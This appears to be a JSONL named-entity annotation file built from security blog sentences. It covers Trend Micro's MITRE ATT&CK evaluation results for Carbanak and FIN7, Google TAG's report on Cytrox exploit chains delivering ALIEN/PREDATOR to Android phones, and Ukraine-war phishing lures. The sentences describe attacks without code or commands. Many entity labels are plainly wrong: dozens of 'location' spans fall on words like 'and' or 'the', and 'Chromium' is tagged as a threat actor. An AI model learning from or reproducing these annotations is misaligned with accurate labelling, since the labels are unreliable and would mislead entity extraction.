-{"id":12860,"text":"The MITRE Engenuity ATT&CK Evaluations story begins with an integral manager, whether at the bank or hotel, being compromised.","entities":[{"id":40081,"label":"location","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":12861,"text":"The simulated attackers sent a spear phishing email with a malicious attachment to the manager with the goal of tricking them into opening it, as this technique relies upon user execution.","entities":[{"id":40082,"label":"attack-pattern","start_offset":31,"end_offset":45},{"id":40083,"label":"location","start_offset":121,"end_offset":125},{"id":40084,"label":"attack-pattern","start_offset":173,"end_offset":187}],"relations":[],"Comments":[]}
 {"id":12862,"text":"When the manager opened the attachment, initial access was granted to the threat group.","entities":[],"relations":[],"Comments":[]}
 {"id":12863,"text":"     Figure 1 - A Technique detection named \"User Execution of Office Related Document\" was generated when explorer.exe spawned winword.exe when the user clicked 2-list.rtf.","entities":[{"id":40086,"label":"attack-pattern","start_offset":45,"end_offset":59},{"id":40087,"label":"tools","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":12864,"text":"Maintaining Access:","entities":[],"relations":[],"Comments":[]}
 {"id":12865,"text":"The Leg Work","entities":[],"relations":[],"Comments":[]}
 {"id":12866,"text":"Now that the threat group has been granted access to the organization’s network, they must collect the necessary information needed to complete their objective.","entities":[],"relations":[],"Comments":[]}
-{"id":12867,"text":"There are several tactics used throughout the attacker’s journey.","entities":[{"id":40088,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":12868,"text":"They maintain access and avoid detection through persistence and defense evasion techniques.","entities":[{"id":40089,"label":"location","start_offset":21,"end_offset":24},{"id":40090,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":12869,"text":"      Figure 2 - A Technique detection named \"Clipboard Data or Screenshot Collection via PowerShell\" was generated when powershell.exe executed CopyFromScreen().     The adversary uses privilege escalation, which commonly involves taking advantage of pre-existing system weaknesses, misconfigurations, and vulnerabilities to gain higher permissions.","entities":[{"id":40092,"label":"attack-pattern","start_offset":46,"end_offset":60},{"id":40093,"label":"attack-pattern","start_offset":90,"end_offset":100},{"id":40094,"label":"attack-pattern","start_offset":186,"end_offset":206},{"id":40095,"label":"location","start_offset":303,"end_offset":306}],"relations":[],"Comments":[]}
-{"id":12870,"text":"From here the threat actor will access and collect credentials and work to discover the right systems to target to complete their objective.","entities":[{"id":40096,"label":"location","start_offset":27,"end_offset":31},{"id":40097,"label":"location","start_offset":39,"end_offset":42},{"id":40098,"label":"location","start_offset":63,"end_offset":66},{"id":40099,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":12871,"text":"     Figure 3 - Workbench results pulling together a chain of attack involved Credential Dumping using Mimikatz Malware.","entities":[{"id":40101,"label":"attack-pattern","start_offset":78,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":12872,"text":"    The two groups in question are both financially motivated, so they’re looking for information that can give them the highest dollar value when resold.","entities":[{"id":40104,"label":"location","start_offset":31,"end_offset":34},{"id":40105,"label":"location","start_offset":103,"end_offset":106},{"id":40106,"label":"location","start_offset":107,"end_offset":111},{"id":40107,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":12873,"text":"Historically, Carbanak and Fin7 have targeted personally identifiable information (PII) and credit card information for resale.","entities":[{"id":40109,"label":"location","start_offset":23,"end_offset":26},{"id":40111,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":12874,"text":"Lateral Movement: Moving in for the Kill","entities":[],"relations":[],"Comments":[]}
-{"id":12875,"text":"The threat group will use lateral movement techniques to locate the targeted system that they will take control of for fraud or to steal data that they can sell for financial profit.","entities":[{"id":40112,"label":"location","start_offset":17,"end_offset":21},{"id":40113,"label":"location","start_offset":94,"end_offset":98},{"id":40114,"label":"location","start_offset":152,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":12876,"text":"This is a critical point in attack detection.","entities":[{"id":40115,"label":"location","start_offset":19,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":12877,"text":"If the threat actors are still living in your network and moving laterally, data correlation across the environment is crucial in connecting the dots and weeding out the attacker before their final steps.","entities":[{"id":40116,"label":"location","start_offset":21,"end_offset":24},{"id":40117,"label":"location","start_offset":54,"end_offset":57},{"id":40118,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":12878,"text":"      Figure 4 - Workbench models showing correlated events ready for further investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12879,"text":"    Trend Micro Vision One is great for this step.","entities":[],"relations":[],"Comments":[]}
-{"id":12880,"text":"Automatically correlating threat data from different areas of the network and endpoint provides better alerts to security teams.","entities":[{"id":40121,"label":"location","start_offset":74,"end_offset":77},{"id":40122,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":12881,"text":"We don’t just tell you these individual events have all occurred – we connect the dots for you, showing that they might be related and have similar indicators of compromise as a certain attack group or type.","entities":[{"id":40123,"label":"identity","start_offset":9,"end_offset":13},{"id":40124,"label":"location","start_offset":14,"end_offset":18},{"id":40125,"label":"location","start_offset":131,"end_offset":134},{"id":40126,"label":"location","start_offset":202,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":12882,"text":"So let’s summarise the story of the evaluation: The first advanced attack was from the Carbanak Group who were targeting a bank, which is one of the popular targets for this group.","entities":[{"id":40127,"label":"location","start_offset":23,"end_offset":28},{"id":40130,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":12883,"text":"The attack started with compromising the HR Manager, moving laterally to locate the CFO’s system from which collection of sensitive data and spoof money transfers being carried out.","entities":[{"id":40131,"label":"location","start_offset":137,"end_offset":140},{"id":40132,"label":"location","start_offset":147,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":12884,"text":"     Figure 5 - Carbanak evaluation environment with Trend Micro solution placement for both detection and prevention scenarios.","entities":[{"id":40136,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":12885,"text":"    The second simulation was a staged attack was from the Fin7 group who launched an attack on a Hotel chain in which they compromised the Hotel Manager who silently maintained access until credentials were collected and a new victim systems was discovered, from there moving laterally to an IT admin system, pivoting to an accounting system and setting up persistence to skim customer payment data information.","entities":[{"id":40140,"label":"location","start_offset":218,"end_offset":221},{"id":40141,"label":"location","start_offset":343,"end_offset":346}],"relations":[],"Comments":[]}
 {"id":12886,"text":"     Figure 6 - FIN7 evaluation environment with Trend Micro solution placement for both detection and prevention scenarios.","entities":[{"id":40143,"label":"threat-actor","start_offset":16,"end_offset":20},{"id":40145,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":12887,"text":"    In the third scenario, the evaluation simulated 10 attack scenarios involving 96 tests, playing out to test the advanced prevention controls used in rapidly reducing exposure and allowing you to respond to less common threats.","entities":[{"id":40149,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":12888,"text":"Think of it like locking your front door instead of relying on a CCTV system to record someone stepping right in.","entities":[{"id":40150,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":12889,"text":"Ensuring prevention controls are in place alongside detection is a key tenant to depend on to prevent and detect advanced threats like these.","entities":[{"id":40151,"label":"location","start_offset":29,"end_offset":32},{"id":40152,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":12890,"text":"     Figure 7 - Blocking early prevents the rest of the attack from spreading.","entities":[{"id":40154,"label":"location","start_offset":25,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":12891,"text":"    What Does it Mean for Me?","entities":[],"relations":[],"Comments":[]}
-{"id":12892,"text":"This is where Trend Micro’s 30+ years of data and threat research become a major value add allowing you to bring all the telemetry together to clearly tell the story of an attack.","entities":[{"id":40157,"label":"location","start_offset":46,"end_offset":49},{"id":40158,"label":"location","start_offset":75,"end_offset":80},{"id":40159,"label":"location","start_offset":151,"end_offset":155},{"id":40160,"label":"location","start_offset":160,"end_offset":165}],"relations":[],"Comments":[]}
-{"id":12893,"text":"Trend Micro Vision One platform can help customers like you deliver impressive results:  96% of attack coverage to provide visibility of 167 out of 174 simulated steps across the evaluations.","entities":[{"id":40161,"label":"location","start_offset":6,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":12894,"text":"This broad visibility allows customers to build a clear picture of the attack and respond faster.","entities":[{"id":40165,"label":"location","start_offset":50,"end_offset":55},{"id":40166,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":12895,"text":"With Linux gaining huge popularity amongst many organizations, especially moving to the cloud, 100% of attacks against the Linux host were detected, capturing 14\/14 attacker steps.","entities":[{"id":40167,"label":"location","start_offset":43,"end_offset":47},{"id":40168,"label":"location","start_offset":88,"end_offset":93},{"id":40170,"label":"location","start_offset":129,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":12896,"text":"139 pieces of telemetry were enriched by the Trend Micro Vision One platform to provide extremely effective threat visibility to better understand and investigate attacks.","entities":[{"id":40173,"label":"location","start_offset":51,"end_offset":56},{"id":40175,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":12897,"text":"90% of attack simulations were prevented through automated detection and response very early on in each test.","entities":[{"id":40177,"label":"location","start_offset":69,"end_offset":72},{"id":40178,"label":"location","start_offset":87,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":12898,"text":"Deflecting risk early on frees up investigation resources, allowing teams to focus on the harder security problems to solve.","entities":[{"id":40179,"label":"location","start_offset":16,"end_offset":21},{"id":40180,"label":"location","start_offset":97,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":12899,"text":" What else do I need to consider?","entities":[],"relations":[],"Comments":[]}
 {"id":12900,"text":"When evaluating the performance of vendors, it is important to consider the hierarchy of detection types.","entities":[],"relations":[],"Comments":[]}
-{"id":12901,"text":"There are 5 types identified by MITRE ATT&CK:","entities":[{"id":40181,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":12902,"text":"None:","entities":[{"id":40184,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":12903,"text":"While no detection information is given, None doesn’t mean that no detection occurred.","entities":[{"id":40185,"label":"location","start_offset":34,"end_offset":39},{"id":40186,"label":"location","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":12904,"text":"Rather, it means it did not meet the required detection criteria set by MITRE Engenuity.","entities":[{"id":40187,"label":"location","start_offset":11,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":12905,"text":"Telemetry:","entities":[],"relations":[],"Comments":[]}
 {"id":12906,"text":"Data was processed that shows an event occurred related to the process being detected.","entities":[],"relations":[],"Comments":[]}
 {"id":12907,"text":"General:","entities":[],"relations":[],"Comments":[]}
 {"id":12908,"text":"A general detection indicates that something was deemed suspicious, but it was not assigned to a specific tactic or technique.","entities":[],"relations":[],"Comments":[]}
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 {"id":12910,"text":"Technique: A detection on technique means the detection can be attributed to a specific adversarial action (e.g. credential dumping).","entities":[{"id":40191,"label":"location","start_offset":36,"end_offset":41},{"id":40192,"label":"location","start_offset":56,"end_offset":59},{"id":40193,"label":"location","start_offset":100,"end_offset":106},{"id":40194,"label":"attack-pattern","start_offset":113,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":12911,"text":" Results that are categorized as a detection type of general, tactic and technique reflect enriched data, which is a good thing.","entities":[{"id":40195,"label":"location","start_offset":14,"end_offset":17},{"id":40196,"label":"location","start_offset":45,"end_offset":49},{"id":40197,"label":"location","start_offset":69,"end_offset":72},{"id":40198,"label":"location","start_offset":117,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":12912,"text":"Since these detections such as the individual MITRE ATT&CK technique, and associated tactic can be used to tell the detailed story of the attack.","entities":[{"id":40199,"label":"location","start_offset":70,"end_offset":73},{"id":40200,"label":"location","start_offset":92,"end_offset":95},{"id":40201,"label":"location","start_offset":107,"end_offset":111},{"id":40202,"label":"location","start_offset":125,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":12913,"text":"This has resulted in a general understanding that general, tactic and technique detections are one of the priorities across vendors.","entities":[{"id":40203,"label":"location","start_offset":66,"end_offset":69},{"id":40204,"label":"location","start_offset":91,"end_offset":94},{"id":40205,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":12914,"text":"Tactics are similar to a chapter of a book.","entities":[{"id":40206,"label":"location","start_offset":8,"end_offset":11},{"id":40207,"label":"location","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":12915,"text":"A CISO can outline a story they want to tell with the high-level tactics used in an attack and then refer to the techniques to tell the story of how they accomplished the attack which provides extra detail.","entities":[{"id":40208,"label":"location","start_offset":7,"end_offset":10},{"id":40209,"label":"location","start_offset":21,"end_offset":26},{"id":40210,"label":"location","start_offset":40,"end_offset":44},{"id":40211,"label":"location","start_offset":91,"end_offset":94},{"id":40212,"label":"location","start_offset":127,"end_offset":131},{"id":40213,"label":"location","start_offset":136,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":12916,"text":"       Figure 8 - Carbanak and FIN7 evaluation, 65 ATT&CK techniques across 11 ATT&CK tactics are in scope for this evaluation.","entities":[{"id":40215,"label":"threat-actor","start_offset":18,"end_offset":26},{"id":40216,"label":"location","start_offset":27,"end_offset":30},{"id":40220,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":12917,"text":"    So, when evaluating vendors, the most important detection type to weigh is the number of general, tactics and techniques detected.","entities":[{"id":40221,"label":"location","start_offset":37,"end_offset":41},{"id":40222,"label":"location","start_offset":62,"end_offset":66},{"id":40223,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
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 {"id":12920,"text":"Trend Micro doesn’t leave that responsibility wholly on you.","entities":[],"relations":[],"Comments":[]}
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-{"id":12922,"text":"You also have the option to further explore relationships to the MITRE ATT&CK framework or get more information on specific attack types and groups from the platform.","entities":[{"id":40229,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":12923,"text":"       Figure 9 -","entities":[],"relations":[],"Comments":[]}
-{"id":12924,"text":"Some organizations may want telemetry, while others would want Technique detection.","entities":[{"id":40231,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":12925,"text":"During the simulation, the Trend Micro Vision One platform detected both attacks successfully with complete visibility across the environment allowing centralized detection and investigation.","entities":[{"id":40232,"label":"location","start_offset":33,"end_offset":38},{"id":40233,"label":"location","start_offset":46,"end_offset":49},{"id":40234,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":12926,"text":"Collecting over 167 pieces of telemetry and correlating these back to over 139 pieces of enriched data allowing the team to paint a clear story of exactly what the attackers were trying to achieve.","entities":[{"id":40236,"label":"location","start_offset":40,"end_offset":43},{"id":40238,"label":"location","start_offset":132,"end_offset":137},{"id":40239,"label":"location","start_offset":138,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":12927,"text":"A separate third round was conducted to test prevention controls that are used to prevent risk in the environment.","entities":[{"id":40241,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
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 {"id":12929,"text":"For this specific test, Trend Micro performed exceptionally with the ability to block 90% of simulations automatically.","entities":[],"relations":[],"Comments":[]}
 {"id":12930,"text":"Another added element this year which deserves a special mention was the introduction of a Linux servers, where we detected all 14 techniques executed in the simulated attack scenario.","entities":[],"relations":[],"Comments":[]}
-{"id":12931,"text":"We are always happy to participate in MITRE Engenuity ATT&CK Evaluations to test our products against rigorous attacks.","entities":[{"id":40250,"label":"location","start_offset":3,"end_offset":6},{"id":40251,"label":"location","start_offset":14,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":12932,"text":"Check out the complete results and more information on Trend Micro Vision One here: https:\/\/resources.trendmicro.com\/MITRE-Attack-Evaluations.html.","entities":[{"id":40253,"label":"location","start_offset":0,"end_offset":5},{"id":40254,"label":"location","start_offset":31,"end_offset":34},{"id":40256,"label":"URL","start_offset":84,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":12933,"text":"      Tags  Cloud | Endpoints | APT & Targeted Attacks | Expert Perspective | Network |","entities":[{"id":40257,"label":"location","start_offset":12,"end_offset":17},{"id":40258,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":12934,"text":"Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
 {"id":12935,"text":"To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
-{"id":12936,"text":"In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.","entities":[{"id":40265,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":12937,"text":"This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities: We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.","entities":[{"id":40268,"label":"location","start_offset":42,"end_offset":46},{"id":40272,"label":"location","start_offset":100,"end_offset":103},{"id":40275,"label":"location","start_offset":208,"end_offset":218},{"id":40277,"label":"location","start_offset":306,"end_offset":309},{"id":40278,"label":"location","start_offset":362,"end_offset":366}],"relations":[],"Comments":[]}
-{"id":12938,"text":"Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.","entities":[{"id":40282,"label":"location","start_offset":52,"end_offset":58},{"id":40283,"label":"location","start_offset":110,"end_offset":113},{"id":40291,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":12939,"text":"The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.","entities":[{"id":40295,"label":"location","start_offset":94,"end_offset":98},{"id":40296,"label":"location","start_offset":110,"end_offset":117},{"id":40297,"label":"location","start_offset":174,"end_offset":182},{"id":40298,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":12940,"text":"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.","entities":[{"id":40299,"label":"location","start_offset":120,"end_offset":124},{"id":40300,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":12941,"text":"Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":40305,"label":"location","start_offset":107,"end_offset":110},{"id":40306,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":12942,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":40309,"label":"location","start_offset":59,"end_offset":65},{"id":40310,"label":"location","start_offset":84,"end_offset":87},{"id":40311,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":12943,"text":"All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.","entities":[{"id":40314,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":12944,"text":"The campaigns were limited — in each case, we assess the number of targets was in the tens of users.","entities":[{"id":40315,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":12945,"text":"Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.","entities":[{"id":40317,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":12946,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]}
-{"id":12947,"text":"We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.","entities":[{"id":40318,"label":"location","start_offset":51,"end_offset":54},{"id":40319,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":12948,"text":"We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.","entities":[{"id":40320,"label":"malware","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":12949,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":40325,"label":"malware","start_offset":0,"end_offset":5},{"id":40326,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":12950,"text":"These commands include recording audio, adding CA certificates, and hiding apps.","entities":[{"id":40327,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":12951,"text":"The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.","entities":[{"id":40329,"label":"location","start_offset":10,"end_offset":18},{"id":40333,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":12952,"text":"This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.","entities":[{"id":40334,"label":"location","start_offset":29,"end_offset":32},{"id":40335,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":12953,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":40336,"label":"location","start_offset":144,"end_offset":148},{"id":40338,"label":"location","start_offset":236,"end_offset":239},{"id":40339,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
-{"id":12954,"text":"We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.","entities":[{"id":40340,"label":"location","start_offset":20,"end_offset":30},{"id":40341,"label":"location","start_offset":80,"end_offset":83},{"id":40343,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":12955,"text":"More technical details about this vulnerability are available in this RCA by Maddie Stone.","entities":[{"id":40344,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":12956,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":12957,"text":"In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.","entities":[{"id":40348,"label":"location","start_offset":34,"end_offset":42},{"id":40349,"label":"location","start_offset":98,"end_offset":102},{"id":40351,"label":"location","start_offset":111,"end_offset":117},{"id":40352,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":12958,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]}
-{"id":12959,"text":"The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.","entities":[{"id":40354,"label":"location","start_offset":79,"end_offset":82},{"id":40356,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":12960,"text":"This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.","entities":[{"id":40357,"label":"location","start_offset":5,"end_offset":10},{"id":40358,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":12961,"text":"Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in \/data\/data\/com.android.chrome\/p.so to elevate privileges and install the implant.","entities":[{"id":40361,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":12962,"text":"We haven’t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
 {"id":12963,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":12964,"text":"In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.","entities":[{"id":40363,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":12965,"text":"The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.","entities":[{"id":40367,"label":"location","start_offset":57,"end_offset":61},{"id":40370,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":12966,"text":"The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.","entities":[{"id":40371,"label":"location","start_offset":32,"end_offset":40},{"id":40372,"label":"location","start_offset":41,"end_offset":46},{"id":40373,"label":"location","start_offset":47,"end_offset":50},{"id":40374,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":12967,"text":"At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.","entities":[{"id":40376,"label":"location","start_offset":7,"end_offset":11},{"id":40379,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":12968,"text":"Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.","entities":[{"id":40381,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":12969,"text":"In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.","entities":[{"id":40383,"label":"location","start_offset":44,"end_offset":52},{"id":40384,"label":"location","start_offset":53,"end_offset":58},{"id":40385,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":12970,"text":"Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.","entities":[{"id":40387,"label":"location","start_offset":10,"end_offset":13},{"id":40388,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":12971,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":12972,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.","entities":[{"id":40389,"label":"location","start_offset":45,"end_offset":50},{"id":40390,"label":"location","start_offset":60,"end_offset":63},{"id":40393,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":12973,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]}
-{"id":12974,"text":"TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":40396,"label":"location","start_offset":57,"end_offset":63},{"id":40397,"label":"location","start_offset":82,"end_offset":85},{"id":40398,"label":"location","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":12975,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[{"id":40399,"label":"location","start_offset":36,"end_offset":45},{"id":40400,"label":"tools","start_offset":52,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":12976,"text":"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.","entities":[{"id":40401,"label":"location","start_offset":62,"end_offset":70},{"id":40402,"label":"location","start_offset":71,"end_offset":75},{"id":40403,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
 {"id":12977,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":40404,"label":"location","start_offset":53,"end_offset":56},{"id":40405,"label":"tools","start_offset":71,"end_offset":77},{"id":40406,"label":"location","start_offset":78,"end_offset":81},{"id":40407,"label":"location","start_offset":82,"end_offset":90},{"id":40408,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":12978,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]}
-{"id":12979,"text":"Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":40414,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":12980,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":40416,"label":"location","start_offset":97,"end_offset":100},{"id":40417,"label":"location","start_offset":106,"end_offset":110},{"id":40418,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":40419,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":12981,"text":"Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.","entities":[{"id":40420,"label":"location","start_offset":75,"end_offset":81},{"id":40421,"label":"location","start_offset":125,"end_offset":128},{"id":40422,"label":"location","start_offset":129,"end_offset":132},{"id":40423,"label":"location","start_offset":133,"end_offset":136},{"id":40424,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":12982,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":40428,"label":"location","start_offset":55,"end_offset":58},{"id":40431,"label":"location","start_offset":133,"end_offset":136},{"id":40432,"label":"location","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":12983,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[{"id":40433,"label":"location","start_offset":22,"end_offset":25},{"id":40434,"label":"location","start_offset":42,"end_offset":45},{"id":40435,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":12984,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
